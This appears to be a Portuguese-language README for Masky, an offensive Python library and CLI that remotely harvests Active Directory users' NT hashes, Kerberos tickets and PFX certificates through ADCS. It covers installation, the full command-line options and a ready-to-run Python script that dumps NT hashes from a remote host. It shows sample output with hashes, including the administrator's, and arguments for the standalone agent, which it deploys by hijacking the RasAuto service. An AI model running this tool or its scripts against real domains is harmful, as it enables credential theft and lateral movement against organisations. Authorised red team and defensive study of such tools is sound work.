
Biblioteca Python com CLI que permite despejar remotamente credenciais de usuários de domínio via um ADCS sem despejar a memória do processo LSASS
Masky é uma biblioteca Python que fornece uma maneira alternativa de extrair remotamente credenciais de usuários do domínio através de um ADCS. Uma ferramenta de linha de comando foi construída sobre esta biblioteca para facilitar a coleta de PFX, hashes NT e TGT em um escopo maior.
Esta ferramenta não explora nenhuma nova vulnerabilidade e não funciona despejando a memória do processo LSASS. Na verdade, ela apenas aproveita recursos legítimos do Windows e do Active Directory (impersonação de token, autenticação por certificado via Kerberos e recuperação de hashes NT via PKINIT). Uma postagem no blog foi publicada para detalhar as técnicas implementadas e como o Masky funciona.
O código-fonte do Masky é amplamente baseado nas incríveis ferramentas Certify e Certipy. Agradeço muito aos seus autores pelas pesquisas sobre técnicas ofensivas de exploração contra ADCS (veja seção de Agradecimentos).
A biblioteca Python masky e sua CLI associada podem ser simplesmente instaladas via repositório público PyPi da seguinte forma:
pip install masky
O executável do agente Masky já está incluído no pacote PyPi.
Além disso, se você precisar modificar o agente, o código C# pode ser recompilado através de um projeto Visual Studio localizado em agent/Masky.sln. Será necessário o .NET Framework 4 para compilar.
O Masky foi projetado como uma biblioteca Python. Além disso, uma interface de linha de comando foi criada sobre ela para facilitar seu uso durante atividades de pentest ou Red Team.
Para ambos os usos, você precisa primeiro obter o FQDN de um servidor CA e seu nome CA implantado via ADCS. Essas informações podem ser facilmente obtidas através da opção certipy find ou da ferramenta Microsoft certutil.exe nativa. Certifique-se de que o modelo User padrão esteja habilitado na CA alvo.
Aviso: o Masky implanta um executável em cada alvo através de uma modificação do serviço RasAuto existente. Apesar da reversão automática do valor ImagePath original, um erro inesperado durante a execução do Masky pode pular a fase de limpeza. Portanto, não se esqueça de redefinir manualmente o valor original em caso de parada indesejada.
A demonstração a seguir mostra um uso básico do Masky, visando 4 sistemas remotos. Sua execução permite coletar hashes NT, CCACHE e PFX de 3 usuários de domínio distintos do domínio de teste sec.lab.
O Masky também oferece opções comumente fornecidas por tais ferramentas (número de threads, modo de autenticação, alvos carregados de arquivos, etc.).
__ __ _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\__, |
v0.0.3 |___/
uso: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
[targets ...]
argumentos posicionais:
targets Alvos nos formatos CIDR, hostname e IP são aceitos, de um arquivo ou não
opções:
-h, --help mostra esta mensagem de ajuda e sai
-v, --verbose Ativa mensagens de depuração
-ts, --timestamps Exibe timestamps para cada log
-t THREADS, --threads THREADS
Tamanho do pool de threads (máx. 15)
Autenticação:
-d DOMAIN, --domain DOMAIN
Nome do domínio para autenticar
-u USER, --user USER Nome de usuário para autenticar
-p PASSWORD, --password PASSWORD
Senha para autenticar
-k, --kerberos Usa autenticação Kerberos. Obtém credenciais do arquivo ccache (KRB5CCNAME) com base nos parâmetros do alvo.
-H HASHES, --hashes HASHES
Hashes para autenticar (LM:NT, :NT ou :LM)
Conexão:
-dc-ip ip address Endereço IP do controlador de domínio. Se omitido, usará a parte do domínio (FQDN) especificada no parâmetro de alvo
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
Nome da Autoridade Certificadora (SERVIDOR\NOME_CA)
Resultados:
-nh, --no-hash Não solicitar hashes NT
-nt, --no-ccache Não salvar arquivos ccache
-np, --no-pfx Não salvar arquivos pfx
-o OUTPUT, --output OUTPUT
Caminho local para uma pasta onde os resultados do Masky serão armazenados (cria automaticamente a pasta se não existir)
Abaixo está um script simples usando a biblioteca Masky para coletar segredos de sessões de usuários de domínio em execução em um alvo remoto.
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# Define os parâmetros de autenticação
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# Cria uma instância Masky com essas credenciais
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# Define um alvo e executa Masky contra ele
target = "192.168.23.130"
rslts = m.run(target)
# Verifica se Masky conseguiu sequestrar com sucesso pelo menos uma sessão de usuário
# ou se ocorreu um erro inesperado
if not rslts:
return False
# Itera sobre o objeto MaskyResult para exibir usuários sequestrados e obter seus hashes NT
print(f"Resultados do hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()
Sua execução gera a seguinte saída.
$> python3 .\masky_demo.py
Senha:
Resultados do hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
Um objeto MaskyResults contendo uma lista de objetos User é retornado após uma execução bem-sucedida do Masky.
Consulte o módulo masky\lib\results.py para verificar os métodos e atributos fornecidos por essas duas classes.
A partir da versão 0.0.5 do Masky, o agente executável independente agora pode ser facilmente executado sem o CLI Python.
Aqui estão os argumentos:
$> .\Masky.exe /ca:'SERVIDOR CA\NOME CA' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)
O parâmetro /ca é obrigatório, como no CLI Python. Além disso, o argumento /currentUser foi adicionado para evitar a execução de impersonação de token. Na verdade, uma simples solicitação de certificado será realizada no contexto do usuário atual, com base no modelo fornecido (template). Os parâmetros /output e /debug permitem especificar o caminho onde os arquivos serão criados.
Os valores padrão são os seguintes: